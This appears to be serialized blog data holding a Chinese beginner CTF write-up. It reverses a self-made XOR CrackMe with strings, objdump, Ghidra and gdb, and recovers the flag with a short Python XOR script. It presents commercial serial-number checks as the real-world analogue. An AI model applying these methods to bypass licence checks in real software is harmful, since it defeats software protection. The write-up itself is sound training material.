id":716},[15,7212,7213,722,7215,435,7217,729],{},[216,7214,218],{},[26,7216,725],{},[26,7218,728],{},[15,7220,7221,734,7223,738],{},[216,7222,224],{},[26,7224,737],{},[15,7226,741,7227,435,7229,435,7231,750],{},[26,7228,725],{},[26,7230,746],{},[26,7232,749],{},[235,7234,754],{"id":753},[19,7236,7238],{"className":7237,"code":758,"language":477,"meta":24},[475],[26,7239,758],{"__ignoreMap":24},[235,7241,764],{"id":763},[19,7243,7245],{"className":7244,"code":768,"language":477,"meta":24},[475],[26,7246,768],{"__ignoreMap":24},[15,7248,773,7249,435,7251,779],{},[26,7250,445],{},[26,7252,778],{},[10,7254,783],{"id":782},[235,7256,787],{"id":786},[19,7258,7259],{"className":113,"code":790,"language":115,"meta":24,"style":24},[26,7260,7261,7273],{"__ignoreMap":24},[29,7262,7263,7265,7267,7269,7271],{"class":31,"line":32},[29,7264,248],{"class":122},[29,7266,252],{"class":251},[29,7268,801],{"class":126},[29,7270,804],{"class":251},[29,7272,808],{"class":807},[29,7274,7275,7277,7279,7281,7283,7285,7287,7289,7291,7293],{"class":31,"line":38},[29,7276,248],{"class":122},[29,7278,816],{"class":815},[29,7280,252],{"class":251},[29,7282,821],{"class":126},[29,7284,804],{"class":251},[29,7286,826],{"class":815},[29,7288,252],{"class":251},[29,7290,831],{"class":126},[29,7292,804],{"class":251},[29,7294,836],{"class":807},[235,7296,840],{"id":839},[19,7298,7299],{"className":21,"code":843,"language":23,"meta":24,"style":24},[26,7300,7301,7305,7309,7313,7317,7321,7325,7329],{"__ignoreMap":24},[29,7302,7303],{"class":31,"line":32},[29,7304,625],{},[29,7306,7307],{"class":31,"line":38},[29,7308,42],{"emptyLinePlaceholder":41},[29,7310,7311],{"class":31,"line":45},[29,7312,858],{},[29,7314,7315],{"class":31,"line":51},[29,7316,863],{},[29,7318,7319],{"class":31,"line":56},[29,7320,868],{},[29,7322,7323],{"class":31,"line":62},[29,7324,873],{},[29,7326,7327],{"class":31,"line":68},[29,7328,878],{},[29,7330,7331],{"class":31,"line":74},[29,7332,883],{},[15,7334,7335,889],{},[26,7336,888],{},[235,7338,893],{"id":892},[15,7340,896],{},[19,7342,7343],{"className":113,"code":899,"language":115,"meta":24,"style":24},[26,7344,7345,7353,7369,7385],{"__ignoreMap":24},[29,7346,7347,7349,7351],{"class":31,"line":32},[29,7348,906],{"class":122},[29,7350,909],{"class":126},[29,7352,912],{"class":126},[29,7354,7355,7357,7359,7361,7363,7365,7367],{"class":31,"line":38},[29,7356,918],{"class":917},[29,7358,921],{"class":126},[29,7360,924],{"class":273},[29,7362,123],{"class":122},[29,7364,127],{"class":126},[29,7366,931],{"class":815},[29,7368,934],{"class":126},[29,7370,7371,7373,7375,7377,7379,7381,7383],{"class":31,"line":45},[29,7372,23],{"class":122},[29,7374,941],{"class":126},[29,7376,944],{"class":815},[29,7378,252],{"class":251},[29,7380,949],{"class":126},[29,7382,804],{"class":251},[29,7384,954],{"class":807},[29,7386,7387,7389,7391,7393,7395,7397,7399],{"class":31,"line":51},[29,7388,23],{"class":122},[29,7390,941],{"class":126},[29,7392,944],{"class":815},[29,7394,252],{"class":251},[29,7396,949],{"class":126},[29,7398,804],{"class":251},[29,7400,971],{"class":815},[10,7402,975],{"id":974},[15,7404,978,7405,982,7407,458],{},[26,7406,981],{},[26,7408,985],{},[235,7410,989],{"id":988},[15,7412,7413,994],{},[216,7414,218],{},[19,7416,7417],{"className":113,"code":997,"language":115,"meta":24,"style":24},[26,7418,7419],{"__ignoreMap":24},[29,7420,7421,7423,7425,7427],{"class":31,"line":32},[29,7422,248],{"class":122},[29,7424,252],{"class":251},[29,7426,801],{"class":126},[29,7428,258],{"class":251},[15,7430,1012,7431,1015],{},[26,7432,335],{},[235,7434,1019],{"id":1018},[15,7436,7437,1024,7439,1028,7441,1031,7443,1034],{},[216,7438,224],{},[26,7440,1027],{},[26,7442,457],{},[26,7444,449],{},[19,7446,7447],{"className":21,"code":1037,"language":23,"meta":24,"style":24},[26,7448,7449,7453,7457,7461,7465,7469],{"__ignoreMap":24},[29,7450,7451],{"class":31,"line":32},[29,7452,625],{},[29,7454,7455],{"class":31,"line":38},[29,7456,42],{"emptyLinePlaceholder":41},[29,7458,7459],{"class":31,"line":45},[29,7460,858],{},[29,7462,7463],{"class":31,"line":51},[29,7464,863],{},[29,7466,7467],{"class":31,"line":56},[29,7468,868],{},[29,7470,7471],{"class":31,"line":62},[29,7472,883],{},[15,7474,1066],{},[19,7476,7478],{"className":7477,"code":1070,"language":477,"meta":24},[475],[26,7479,1070],{"__ignoreMap":24},[235,7481,1076],{"id":1075},[15,7483,7484,1081,7486,1084],{},[216,7485,224],{},[26,7487,737],{},[15,7489,1087],{},[19,7491,7493],{"className":7492,"code":1091,"language":477,"meta":24},[475],[26,7494,1091],{"__ignoreMap":24},[10,7496,1097],{"id":1096},[15,7498,1100,7499,1103,7501,1107,7503,1110,7505,1114],{},[26,7500,232],{},[26,7502,1106],{},[26,7504,737],{},[26,7506,1113],{},[1116,7508,1118],{},{"title":24,"searchDepth":38,"depth":38,"links":7510},[7511,7512,7513,7514,7515,7516,7517,7518],{"id":12,"depth":45,"text":13},{"id":109,"depth":45,"text":110},{"id":211,"depth":45,"text":212},{"id":416,"depth":45,"text":417},{"id":716,"depth":45,"text":717},{"id":782,"depth":45,"text":783},{"id":974,"depth":45,"text":975},{"id":1096,"depth":45,"text":1097},{"date":1132,"image":1133,"alt":1134,"tags":7520,"published":41},[1136,1137,1138,1139],{"title":5,"description":1129},{"id":7523,"title":7524,"body":7525,"description":8465,"extension":1130,"meta":8466,"navigation":41,"ogImage":8467,"path":8470,"seo":8471,"stem":8472,"__hash__":8473},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7526,"toc":8454},[7527,7531,7534,7538,7544,7728,7731,7748,7751,7760,7765,7777,7781,7783,7788,7801,7805,7816,7819,7825,7830,7834,7845,7859,7861,7867,7876,7880,7885,7900,7902,7933,7935,7964,7971,7975,8007,8010,8035,8039,8042,8092,8097,8099,8107,8110,8116,8118,8130,8144,8146,8151,8160,8162,8167,8170,8185,8187,8193,8196,8200,8205,8222,8282,8284,8296,8298,8303,8306,8316,8320,8324,8407,8411,8442,8444,8451],[10,7528,7530],{"id":7529},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7532,7533],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7535,7537],{"id":7536},"二题目源码与编译","二、题目源码与编译",[15,7539,7540,7541,137],{},"出题人视角的 ",[26,7542,7543],{},"crackme.c",[19,7545,7547],{"className":1910,"code":7546,"language":1912,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[26,7548,7549,7553,7558,7562,7567,7572,7577,7582,7587,7592,7597,7602,7607,7612,7617,7622,7627,7632,7637,7642,7647,7652,7657,7661,7665,7670,7675,7680,7685,7690,7695,7700,7705,7710,7715,7720,7724],{"__ignoreMap":24},[29,7550,7551],{"class":31,"line":32},[29,7552,2527],{},[29,7554,7555],{"class":31,"line":38},[29,7556,7557],{},"#include \u003Cstring.h>\n",[29,7559,7560],{"class":31,"line":45},[29,7561,42],{"emptyLinePlaceholder":41},[29,7563,7564],{"class":31,"line":51},[29,7565,7566],{},"int check(const char *input) {\n",[29,7568,7569],{"class":31,"line":56},[29,7570,7571],{},"    char key[] = \"k3y\";\n",[29,7573,7574],{"class":31,"line":62},[29,7575,7576],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[29,7578,7579],{"class":31,"line":68},[29,7580,7581],{},"    unsigned char enc[] = {\n",[29,7583,7584],{"class":31,"line":74},[29,7585,7586],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,7588,7589],{"class":31,"line":179},[29,7590,7591],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,7593,7594],{"class":31,"line":185},[29,7595,7596],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[29,7598,7599],{"class":31,"line":190},[29,7600,7601],{},"    };\n",[29,7603,7604],{"class":31,"line":677},[29,7605,7606],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[29,7608,7609],{"class":31,"line":683},[29,7610,7611],{},"    int n = strlen(input);\n",[29,7613,7614],{"class":31,"line":689},[29,7615,7616],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[29,7618,7619],{"class":31,"line":695},[29,7620,7621],{},"    if (n != 24) return 0;\n",[29,7623,7624],{"class":31,"line":2596},[29,7625,7626],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[29,7628,7629],{"class":31,"line":2602},[29,7630,7631],{},"    for (int i = 0; i \u003C n; i++)\n",[29,7633,7634],{"class":31,"line":2608},[29,7635,7636],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[29,7638,7639],{"class":31,"line":2614},[29,7640,7641],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[29,7643,7644],{"class":31,"line":4050},[29,7645,7646],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[29,7648,7649],{"class":31,"line":4056},[29,7650,7651],{},"    return 1;\n",[29,7653,7654],{"class":31,"line":4062},[29,7655,7656],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[29,7658,7659],{"class":31,"line":4068},[29,7660,2551],{},[29,7662,7663],{"class":31,"line":4074},[29,7664,42],{"emptyLinePlaceholder":41},[29,7666,7667],{"class":31,"line":4839},[29,7668,7669],{},"int main(int argc, char **argv) {\n",[29,7671,7672],{"class":31,"line":4844},[29,7673,7674],{},"    if (argc != 2) {\n",[29,7676,7677],{"class":31,"line":4850},[29,7678,7679],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[29,7681,7682],{"class":31,"line":4856},[29,7683,7684],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[29,7686,7687],{"class":31,"line":4861},[29,7688,7689],{},"        return 1;\n",[29,7691,7692],{"class":31,"line":4867},[29,7693,7694],{},"    }\n",[29,7696,7697],{"class":31,"line":4873},[29,7698,7699],{},"    if (check(argv[1]))\n",[29,7701,7702],{"class":31,"line":4879},[29,7703,7704],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[29,7706,7707],{"class":31,"line":4885},[29,7708,7709],{},"        puts(\"Correct!\");\n",[29,7711,7712],{"class":31,"line":4890},[29,7713,7714],{},"    else\n",[29,7716,7717],{"class":31,"line":4896},[29,7718,7719],{},"        puts(\"Wrong!\");\n",[29,7721,7722],{"class":31,"line":4902},[29,7723,2611],{},[29,7725,7726],{"class":31,"line":4908},[29,7727,2551],{},[15,7729,7730],{},"编译（解题时只有二进制，没有源码）：",[19,7732,7734],{"className":113,"code":7733,"language":115,"meta":24,"style":24},"gcc -o crackme crackme.c\n",[26,7735,7736],{"__ignoreMap":24},[29,7737,7738,7740,7742,7745],{"class":31,"line":32},[29,7739,2629],{"class":122},[29,7741,2632],{"class":815},[29,7743,7744],{"class":126}," crackme",[29,7746,7747],{"class":126}," crackme.c\n",[15,7749,7750],{},"运行确认行为：",[19,7752,7754],{"className":113,"code":7753,"language":115,"meta":24,"style":24},"./crackme\n",[26,7755,7756],{"__ignoreMap":24},[29,7757,7758],{"class":31,"line":32},[29,7759,7753],{"class":122},[15,7761,1410,7762,458],{},[26,7763,7764],{},"Usage: ./crackme \u003Cflag>",[19,7766,7768],{"className":113,"code":7767,"language":115,"meta":24,"style":24},"./crackme wrongflag123456789012\n",[26,7769,7770],{"__ignoreMap":24},[29,7771,7772,7774],{"class":31,"line":32},[29,7773,2412],{"class":122},[29,7775,7776],{"class":126}," wrongflag123456789012\n",[15,7778,1410,7779,458],{},[26,7780,1382],{},[10,7782,1253],{"id":1252},[15,7784,7785,7787],{},[216,7786,218],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,7789,7790,137,7792,7794,7795,7797,7798,7800],{},[216,7791,224],{},[26,7793,1323],{}," 能看到 ",[26,7796,1386],{}," 这样的短密钥（需要 ",[26,7799,1390],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[235,7802,7804],{"id":7803},"_31-file","3.1 file",[19,7806,7808],{"className":113,"code":7807,"language":115,"meta":24,"style":24},"file crackme\n",[26,7809,7810],{"__ignoreMap":24},[29,7811,7812,7814],{"class":31,"line":32},[29,7813,1280],{"class":122},[29,7815,2268],{"class":126},[15,7817,7818],{},"预期输出（Linux ELF）：",[19,7820,7823],{"className":7821,"code":7822,"language":477,"meta":24},[475],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[26,7824,7822],{"__ignoreMap":24},[15,7826,7827,7829],{},[26,7828,1297],{},"：函数名可见。",[235,7831,7833],{"id":7832},"_32-strings","3.2 strings",[15,7835,7836,7837,7839,7840,7842,7843,137],{},"注意：",[26,7838,1323],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[26,7841,1386],{}," 只有 3 个字符，必须加 ",[26,7844,1390],{},[19,7846,7847],{"className":113,"code":2255,"language":115,"meta":24,"style":24},[26,7848,7849],{"__ignoreMap":24},[29,7850,7851,7853,7855,7857],{"class":31,"line":32},[29,7852,1323],{"class":122},[29,7854,1355],{"class":815},[29,7856,1358],{"class":815},[29,7858,2268],{"class":126},[15,7860,261],{},[19,7862,7865],{"className":7863,"code":7864,"language":477,"meta":24},[475],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[26,7866,7864],{"__ignoreMap":24},[15,7868,7869,7871,7872,7875],{},[26,7870,1386],{}," 极可能是密钥。",[26,7873,7874],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,7877,7879],{"id":7878},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,7881,7882,7884],{},[216,7883,218],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,7886,7887,7889,7890,7892,7893,7896,7897,7899],{},[216,7888,224],{},"：main 里 ",[26,7891,1623],{}," 后紧跟 ",[26,7894,7895],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[26,7898,2291],{},"，逆向思路立刻清晰。",[235,7901,1464],{"id":1463},[19,7903,7905],{"className":113,"code":7904,"language":115,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[26,7906,7907],{"__ignoreMap":24},[29,7908,7909,7911,7913,7915,7917,7919,7921,7923,7925,7927,7929,7931],{"class":31,"line":32},[29,7910,1476],{"class":122},[29,7912,1479],{"class":815},[29,7914,1482],{"class":815},[29,7916,1485],{"class":126},[29,7918,7744],{"class":126},[29,7920,1511],{"class":277},[29,7922,1514],{"class":122},[29,7924,1517],{"class":815},[29,7926,1520],{"class":815},[29,7928,1523],{"class":251},[29,7930,1526],{"class":126},[29,7932,1529],{"class":251},[15,7934,1532],{},[19,7936,7938],{"className":1535,"code":7937,"language":1537,"meta":24,"style":24},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[26,7939,7940,7944,7948,7952,7956,7960],{"__ignoreMap":24},[29,7941,7942],{"class":31,"line":32},[29,7943,1544],{},[29,7945,7946],{"class":31,"line":38},[29,7947,1559],{},[29,7949,7950],{"class":31,"line":45},[29,7951,1564],{},[29,7953,7954],{"class":31,"line":51},[29,7955,1569],{},[29,7957,7958],{"class":31,"line":56},[29,7959,1574],{},[29,7961,7962],{"class":31,"line":62},[29,7963,1579],{},[15,7965,7966,7968,7969,458],{},[26,7967,1623],{}," 说明判断逻辑在 ",[26,7970,1652],{},[235,7972,7974],{"id":7973},"_42-objdump-看-check","4.2 objdump 看 check",[19,7976,7978],{"className":113,"code":7977,"language":115,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[26,7979,7980],{"__ignoreMap":24},[29,7981,7982,7984,7986,7988,7990,7992,7994,7996,7998,8001,8003,8005],{"class":31,"line":32},[29,7983,1476],{"class":122},[29,7985,1479],{"class":815},[29,7987,1482],{"class":815},[29,7989,1485],{"class":126},[29,7991,7744],{"class":126},[29,7993,1511],{"class":277},[29,7995,1514],{"class":122},[29,7997,1517],{"class":815},[29,7999,8000],{"class":815}," 60",[29,8002,1523],{"class":251},[29,8004,1708],{"class":126},[29,8006,1529],{"class":251},[15,8008,8009],{},"预期会看到循环比较：",[19,8011,8013],{"className":1535,"code":8012,"language":1537,"meta":24,"style":24},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[26,8014,8015,8020,8025,8030],{"__ignoreMap":24},[29,8016,8017],{"class":31,"line":32},[29,8018,8019],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[29,8021,8022],{"class":31,"line":38},[29,8023,8024],{},"xor    eax, 0x...                 ; 与 key 异或\n",[29,8026,8027],{"class":31,"line":45},[29,8028,8029],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[29,8031,8032],{"class":31,"line":51},[29,8033,8034],{},"je     0x...\n",[235,8036,8038],{"id":8037},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,8040,8041],{},"安装并打开：",[19,8043,8045],{"className":113,"code":8044,"language":115,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[26,8046,8047,8057,8067],{"__ignoreMap":24},[29,8048,8049,8051,8053,8055],{"class":31,"line":32},[29,8050,1225],{"class":122},[29,8052,127],{"class":126},[29,8054,1832],{"class":126},[29,8056,1835],{"class":126},[29,8058,8059,8061,8063,8065],{"class":31,"line":38},[29,8060,1840],{"class":122},[29,8062,1843],{"class":126},[29,8064,1847],{"class":1846},[29,8066,1850],{"class":126},[29,8068,8069,8071,8073,8075,8078,8080,8082,8084,8086,8088,8090],{"class":31,"line":45},[29,8070,1855],{"class":122},[29,8072,1858],{"class":126},[29,8074,1847],{"class":1846},[29,8076,8077],{"class":126},".zip",[29,8079,924],{"class":273},[29,8081,918],{"class":917},[29,8083,1858],{"class":126},[29,8085,1847],{"class":1846},[29,8087,1873],{"class":126},[29,8089,924],{"class":273},[29,8091,1878],{"class":122},[15,8093,8094,8095,458],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[26,8096,1652],{},[15,8098,1907],{},[19,8100,8101],{"className":1910,"code":2301,"language":1912,"meta":24,"style":24},[26,8102,8103],{"__ignoreMap":24},[29,8104,8105],{"class":31,"line":32},[29,8106,2301],{},[15,8108,8109],{},"得到逆运算关系：",[19,8111,8114],{"className":8112,"code":8113,"language":477,"meta":24},[475],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[26,8115,8113],{"__ignoreMap":24},[10,8117,1941],{"id":1940},[19,8119,8121],{"className":113,"code":8120,"language":115,"meta":24,"style":24},"gdb ./crackme\n",[26,8122,8123],{"__ignoreMap":24},[29,8124,8125,8127],{"class":31,"line":32},[29,8126,1968],{"class":122},[29,8128,8129],{"class":126}," ./crackme\n",[19,8131,8133],{"className":1980,"code":8132,"language":1968,"meta":24,"style":24},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[26,8134,8135,8139],{"__ignoreMap":24},[29,8136,8137],{"class":31,"line":32},[29,8138,1981],{},[29,8140,8141],{"class":31,"line":38},[29,8142,8143],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8145,261],{},[19,8147,8149],{"className":8148,"code":1993,"language":477,"meta":24},[475],[26,8150,1993],{"__ignoreMap":24},[19,8152,8154],{"className":1980,"code":8153,"language":1968,"meta":24,"style":24},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,8155,8156],{"__ignoreMap":24},[29,8157,8158],{"class":31,"line":32},[29,8159,8153],{},[15,8161,261],{},[19,8163,8165],{"className":8164,"code":2014,"language":477,"meta":24},[475],[26,8166,2014],{"__ignoreMap":24},[15,8168,8169],{},"查看 enc 数组（地址在反汇编中确定）：",[19,8171,8173],{"className":1980,"code":8172,"language":1968,"meta":24,"style":24},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[26,8174,8175,8180],{"__ignoreMap":24},[29,8176,8177],{"class":31,"line":32},[29,8178,8179],{},"(gdb) x/24bx 0x5555555551e0\n",[29,8181,8182],{"class":31,"line":38},[29,8183,8184],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8186,261],{},[19,8188,8191],{"className":8189,"code":8190,"language":477,"meta":24},[475],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[26,8192,8190],{"__ignoreMap":24},[15,8194,8195],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8197,8199],{"id":8198},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8201,8202,8204],{},[216,8203,218],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8206,8207,8209,8210,8213,8214,8217,8218,8221],{},[216,8208,224],{},"：因为 ",[26,8211,8212],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[26,8215,8216],{},"key[i%3]"," 得 ",[26,8219,8220],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[19,8223,8225],{"className":21,"code":8224,"language":23,"meta":24,"style":24},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[26,8226,8227,8231,8235,8239,8244,8248,8253,8258,8263,8268,8273,8277],{"__ignoreMap":24},[29,8228,8229],{"class":31,"line":32},[29,8230,2335],{},[29,8232,8233],{"class":31,"line":38},[29,8234,2340],{},[29,8236,8237],{"class":31,"line":45},[29,8238,2345],{},[29,8240,8241],{"class":31,"line":51},[29,8242,8243],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[29,8245,8246],{"class":31,"line":56},[29,8247,42],{"emptyLinePlaceholder":41},[29,8249,8250],{"class":31,"line":62},[29,8251,8252],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[29,8254,8255],{"class":31,"line":68},[29,8256,8257],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[29,8259,8260],{"class":31,"line":74},[29,8261,8262],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[29,8264,8265],{"class":31,"line":179},[29,8266,8267],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[29,8269,8270],{"class":31,"line":185},[29,8271,8272],{},"# bytes([...])：把整数列表转成字节串。\n",[29,8274,8275],{"class":31,"line":190},[29,8276,2385],{},[29,8278,8279],{"class":31,"line":677},[29,8280,8281],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8283,196],{},[19,8285,8287],{"className":113,"code":8286,"language":115,"meta":24,"style":24},"python3 solve.py\n",[26,8288,8289],{"__ignoreMap":24},[29,8290,8291,8293],{"class":31,"line":32},[29,8292,3203],{"class":122},[29,8294,8295],{"class":126}," solve.py\n",[15,8297,3503],{},[19,8299,8301],{"className":8300,"code":2396,"language":477,"meta":24},[475],[26,8302,2396],{"__ignoreMap":24},[15,8304,8305],{},"验证：",[19,8307,8308],{"className":113,"code":2405,"language":115,"meta":24,"style":24},[26,8309,8310],{"__ignoreMap":24},[29,8311,8312,8314],{"class":31,"line":32},[29,8313,2412],{"class":122},[29,8315,2415],{"class":126},[15,8317,3503,8318,458],{},[26,8319,1379],{},[10,8321,8323],{"id":8322},"七必学工具","七、必学工具",[342,8325,8326,8336],{},[345,8327,8328],{},[348,8329,8330,8332,8334],{},[351,8331,2139],{},[351,8333,2142],{},[351,8335,5133],{},[361,8337,8338,8350,8362,8377,8394],{},[348,8339,8340,8342,8345],{},[366,8341,1280],{},[366,8343,8344],{},"看类型/是否 stripped",[366,8346,8347],{},[26,8348,8349],{},"file crackme",[348,8351,8352,8354,8357],{},[366,8353,1323],{},[366,8355,8356],{},"提取字符串、指定最小长度",[366,8358,8359],{},[26,8360,8361],{},"strings -n 3 crackme",[348,8363,8364,8366,8369],{},[366,8365,1476],{},[366,8367,8368],{},"反汇编、看数据段",[366,8370,8371,435,8374],{},[26,8372,8373],{},"objdump -d -M intel crackme",[26,8375,8376],{},"objdump -s -j .rodata crackme",[348,8378,8379,8381,8384],{},[366,8380,2197],{},[366,8382,8383],{},"断点、运行、查看内存",[366,8385,8386,435,8388,435,8391],{},[26,8387,2205],{},[26,8389,8390],{},"run xxx",[26,8392,8393],{},"x/24bx addr",[348,8395,8396,8399,8402],{},[366,8397,8398],{},"Ghidra",[366,8400,8401],{},"反编译伪代码",[366,8403,8404],{},[26,8405,8406],{},"ghidraRun",[10,8408,8410],{"id":8409},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[1883,8412,8413,8420,8431,8437],{},[1886,8414,8415,8417,8418,458],{},[26,8416,8361],{}," → 找到密钥 ",[26,8419,1386],{},[1886,8421,8422,8424,8425,8427,8428,458],{},[26,8423,1476],{},"/Ghidra → 确认 ",[26,8426,1652],{}," 里是 ",[26,8429,8430],{},"input[i] ^ key[i%3] == enc[i]",[1886,8432,8433,8434,458],{},"Python 一行异或还原 → ",[26,8435,8436],{},"ctf{reverse_engineering}",[1886,8438,8439,8440,458],{},"运行验证 → ",[26,8441,1379],{},[10,8443,6668],{"id":6667},[15,8445,8446,8447,8450],{},"XOR CrackMe 的通用解法：",[216,8448,8449],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1116,8452,8453],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki 